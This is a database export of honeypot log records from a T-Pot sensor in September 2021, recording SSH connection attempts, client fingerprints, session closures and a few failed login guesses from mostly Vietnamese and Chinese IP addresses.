21046	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.483056+03	2021-09-20 14:15:03.154614+03	{"_id": "bgbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "2512a17a07af", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:41.483056Z", "@timestamp": "2021-09-20T11:06:41.483Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
21047	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:41.385623+03	2021-09-20 14:15:03.156613+03	{"_id": "eQbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:40594 (192.168.176.2:22) [session: d6dfcef274a0]", "session": "d6dfcef274a0", "@version": "1", "protocol": "ssh", "src_port": 40594, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.385623Z", "@timestamp": "2021-09-20T11:06:41.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21048	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:41.522423+03	2021-09-20 14:15:03.157614+03	{"_id": "egbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:44890 (192.168.176.2:22) [session: ec2de691834c]", "session": "ec2de691834c", "@version": "1", "protocol": "ssh", "src_port": 44890, "dest_port": 22, "timestamp": "2021-09-20T11:06:41.522423Z", "@timestamp": "2021-09-20T11:06:41.522Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
21049	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.631083+03	2021-09-20 14:15:03.158614+03	{"_id": "cQbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "d28c6ad901da", "@version": "1", "duration": 3.335573673248291, "timestamp": "2021-09-20T11:06:41.631083Z", "@timestamp": "2021-09-20T11:06:41.631Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21050	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:41.697351+03	2021-09-20 14:15:03.159612+03	{"_id": "cgbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [hello/hello] failed", "session": "adaa76d4211a", "@version": "1", "password": "hello", "username": "hello", "timestamp": "2021-09-20T11:06:41.697351Z", "@timestamp": "2021-09-20T11:06:41.697Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21051	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.35349+03	2021-09-20 14:15:03.160613+03	{"_id": "fwbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57236, "timestamp": "2021-09-20T11:06:41.353490", "@timestamp": "2021-09-20T11:06:41.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21058	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:37.703128+03	2021-09-20 14:15:03.168613+03	{"_id": "nwbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [1/2] failed", "session": "a40db5db1cd5", "@version": "1", "password": "2", "username": "1", "timestamp": "2021-09-20T11:06:37.703128Z", "@timestamp": "2021-09-20T11:06:37.703Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21052	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:41.48521+03	2021-09-20 14:15:03.161613+03	{"_id": "gAbiAnwBvYTbRNuE-wEz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47686, "timestamp": "2021-09-20T11:06:41.485210", "@timestamp": "2021-09-20T11:06:41.485Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21053	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:41.863059+03	2021-09-20 14:15:03.162613+03	{"_id": "dQbiAnwBvYTbRNuE-wEy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "34fdedcfd043", "@version": "1", "timestamp": "2021-09-20T11:06:41.863059Z", "@timestamp": "2021-09-20T11:06:41.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21054	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:37.792188+03	2021-09-20 14:15:03.163613+03	{"_id": "lAbiAnwBvYTbRNuE6gAt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 491595165961820, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35274, "dest_port": 22, "timestamp": "2021-09-20T11:06:37.792188Z", "@timestamp": "2021-09-20T11:06:37.792Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21055	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:37.307427+03	2021-09-20 14:15:03.164614+03	{"_id": "lgbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "223.241.247.214", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "93a2eacc7d8b", "@version": "1", "duration": 0.5920257568359375, "duplicate": true, "timestamp": "2021-09-20T11:06:37.307427Z", "@timestamp": "2021-09-20T11:06:37.307Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21056	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.35356+03	2021-09-20 14:15:03.166614+03	{"_id": "mQbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "6c88bc7de748", "@version": "1", "duration": 2.527230978012085, "timestamp": "2021-09-20T11:06:37.353560Z", "@timestamp": "2021-09-20T11:06:37.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21059	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:37.802302+03	2021-09-20 14:15:03.169612+03	{"_id": "ogbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "7639ba68c7fe", "@version": "1", "timestamp": "2021-09-20T11:06:37.802302Z", "@timestamp": "2021-09-20T11:06:37.802Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21060	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:38.00721+03	2021-09-20 14:15:03.170613+03	{"_id": "pQbiAnwBvYTbRNuE6wAf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "83eb6cc6c96b", "@version": "1", "duration": 2.5407917499542236, "timestamp": "2021-09-20T11:06:38.007210Z", "@timestamp": "2021-09-20T11:06:38.007Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
21061	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:06:38.528101+03	2021-09-20 14:15:03.172613+03	{"_id": "zgbiAnwBvYTbRNuE7gAX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 152692181554884, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 35960, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.528101Z", "@timestamp": "2021-09-20T11:06:38.528Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21062	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:38.249842+03	2021-09-20 14:15:03.174613+03	{"_id": "3wbiAnwBvYTbRNuE7wAV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:35960 (192.168.176.2:22) [session: d61fcba64b47]", "session": "d61fcba64b47", "@version": "1", "protocol": "ssh", "src_port": 35960, "dest_port": 22, "timestamp": "2021-09-20T11:06:38.249842Z", "@timestamp": "2021-09-20T11:06:38.249Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
